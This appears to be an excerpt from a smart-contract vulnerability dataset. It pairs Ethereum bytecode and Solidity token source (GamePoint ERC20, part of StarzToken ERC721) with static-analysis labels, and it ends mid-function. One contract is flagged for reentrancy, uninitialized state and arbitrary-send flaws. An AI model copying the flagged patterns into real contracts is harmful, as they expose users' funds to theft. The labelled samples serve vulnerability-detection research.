0156103d857600080fd5b5061026461077e565b3480156103ed57600080fd5b506102646103fc36600461169e565b6107f2565b34801561040d57600080fd5b506000546001600160a01b0316610369565b34801561042b57600080fd5b50600e546102349062010000900460ff1681565b34801561044b57600080fd5b506101fe6040518060400160405280600481526020016344494e5560e01b81525081565b34801561047b57600080fd5b5061023461048a3660046115f6565b610860565b34801561049b57600080fd5b50600754610369906001600160a01b031681565b3480156104bb57600080fd5b5061026461086d565b3480156104d057600080fd5b50610264610883565b3480156104e557600080fd5b5061027d610919565b3480156104fa57600080fd5b506102646105093660046116c9565b610931565b34801561051a57600080fd5b5061027d6105293660046116e6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561056057600080fd5b506102646109ae565b6000610576338484610cf8565b50600192915050565b6000546001600160a01b031633146105b25760405162461bcd60e51b81526004016105a99061171f565b60405180910390fd5b600f821080156105c25750600f81105b80156105cf575060095482105b80156105dc5750600a5481105b6105e557600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610639848484610e1c565b6001600160a01b038416600090815260036020908152604080832033845290915281205461066890849061176a565b9050610675853383610cf8565b506001949350505050565b600061068b30610763565b905090565b6000546001600160a01b031633146106ba5760405162461bcd60e51b81526004016105a99061171f565b6007546001600160a01b0316336001600160a01b0316146106da57600080fd5b6000811161071a5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064016105a9565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761076081611259565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146107a85760405162461bcd60e51b81526004016105a99061171f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461081257600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161074b565b6000610576338484610e1c565b600061087830610763565b905061076081611293565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016105a99061171f565b600e5460ff16156108fa5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105a9565b600e805460ff1916600117905542600d556704db732547630000600c55565b60085460009061068b906001600160a01b0316610763565b6000546001600160a01b0316331461095b5760405162461bcd60e51b81526004016105a99061171f565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161074b565b6000546001600160a01b031633146109d85760405162461bcd60e51b81526004016105a99061171f565b600e5460ff1615610a255760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105a9565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a613082670de0b6b3a7640000610cf8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac39190611781565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b349190611781565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190611781565b600880546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610bd581610763565b600080610bea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c77919061179e565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610cd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf491906117cc565b5050565b6001600160a01b038316610d5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a9565b6001600160a01b038216610dbb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7a57503360009081526005602052604090205460ff16155b610e8357600080fd5b6001600160a01b038316610ee75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a9565b6001600160a01b038216610f495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a9565b60008111610fab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a9565b600080546001600160a01b03858116911614801590610fd857506000546001600160a01b03848116911614155b156111fa576008546001600160a01b03858116911614801561100857506006546001600160a01b03848116911614155b801561102d57506001600160a01b03831660009081526004602052604090205460ff16155b1561111357600e5460ff166110845760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016105a9565b42600d5461025861109591906117e9565b111561110f57600c546110a784610763565b6110b190846117e9565b111561110f5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016105a9565b5060015b600e54610100900460ff1615801561112d5750600e5460ff165b801561114757506008546001600160a01b03858116911614155b156111fa57600061115730610763565b905080156111e357600e5462010000900460ff16156111da57600b546008546064919061118c906001600160a01b0316610763565b6111969190611801565b6111a09190611820565b8111156111da57600b54600854606491906111c3906001600160a01b0316610763565b6111cd9190611801565b6111d79190611820565b90505b6111e381611293565b4780156111f3576111f347611259565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061123c57506001600160a01b03841660009081526004602052604090205460ff165b15611245575060005b6112528585858486611407565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cf4573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d7576112d7611842565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611330573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113549190611781565b8160018151811061136757611367611842565b6001600160a01b03928316602091820292909201015260065461138d9130911684610cf8565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c6908590600090869030904290600401611858565b600060405180830381600087803b1580156113e057600080fd5b505af11580156113f4573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006114138383611429565b90506114218686868461144d565b505050505050565b60008083156114465782156114415750600954611446565b50600a545b9392505050565b60008061145a848461152a565b6001600160a01b038816600090815260026020526040902054919350915061148390859061176a565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546114b39083906117e9565b6001600160a01b0386166000908152600260205260409020556114d58161155e565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161151a91815260200190565b60405180910390a3505050505050565b60008080606461153a8587611801565b6115449190611820565b90506000611552828761176a565b96919550909350505050565b306000908152600260205260409020546115799082906117e9565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156115b95785810183015185820160400152820161159d565b818111156115cb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076057600080fd5b6000806040838503121561160957600080fd5b8235611614816115e1565b946020939093013593505050565b6000806040838503121561163557600080fd5b50508035926020909101359150565b60008060006060848603121561165957600080fd5b8335611664816115e1565b92506020840135611674816115e1565b929592945050506040919091013590565b60006020828403121561169757600080fd5b5035919050565b6000602082840312156116b057600080fd5b8135611446816115e1565b801515811461076057600080fd5b6000602082840312156116db57600080fd5b8135611446816116bb565b600080604083850312156116f957600080fd5b8235611704816115e1565b91506020830135611714816115e1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561177c5761177c611754565b500390565b60006020828403121561179357600080fd5b8151611446816115e1565b6000806000606084860312156117b357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117de57600080fd5b8151611446816116bb565b600082198211156117fc576117fc611754565b500190565b600081600019048311821515161561181b5761181b611754565b500290565b60008261183d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a85784516001600160a01b031683529383019391830191600101611883565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122049afcbe82b34fd57bc3717fc077734199ebc5937370b89d46e8bfe4ce19f03ec64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,383 |
0x7e09e57833f254b272cf72269f3a9fa98ae0c854
|
/**
*Submitted for verification at Etherscan.io on 2021-12-21
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'GamePoint' contract
//
// Symbol : GCASH
// Name : GamePoint
// Total supply: 10 401 387 117
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract GamePoint is BurnableToken {
string public constant name = "GamePoint";
string public constant symbol = "GCASH";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10401387117 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600981526020017f47616d65506f696e74000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64026bf8926d0281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f474341534800000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea264697066735822122062e81cfe0d0ebcb81471cfe47041d3fc61fb4d53c3f8234c0bf72de8acd4a8c764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,384 |
0x3f59b4debf570f301eb4a554866a08048b1ea54c
|
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract StarzToken is ERC721 {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new person comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoStarz"; // solhint-disable-line
string public constant SYMBOL = "StarzToken"; // solhint-disable-line
uint256 private startingPrice = 0.01 ether;
uint256 private constant PROMO_CREATION_LIMIT = 5000;
uint256 private firstStepLimit = 0.99999 ether;
uint256 private secondStepLimit = 1.0 ether;
/*** STORAGE ***/
/// @dev A mapping from person IDs to the address that owns them. All persons have
/// some valid owner address.
mapping (uint256 => address) public personIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from PersonIDs to an address that has been approved to call
/// transferFrom(). Each Person can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public personIndexToApproved;
// @dev A mapping from PersonIDs to the price of the token.
mapping (uint256 => uint256) private personIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
/*** DATATYPES ***/
struct Person {
string name;
}
Person[] private persons;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
/*** CONSTRUCTOR ***/
function StarzToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/*** PUBLIC FUNCTIONS ***/
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
personIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new promo Person with the given name, with given _price and assignes it to an address.
function createPromoPerson(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address personOwner = _owner;
if (personOwner == address(0)) {
personOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
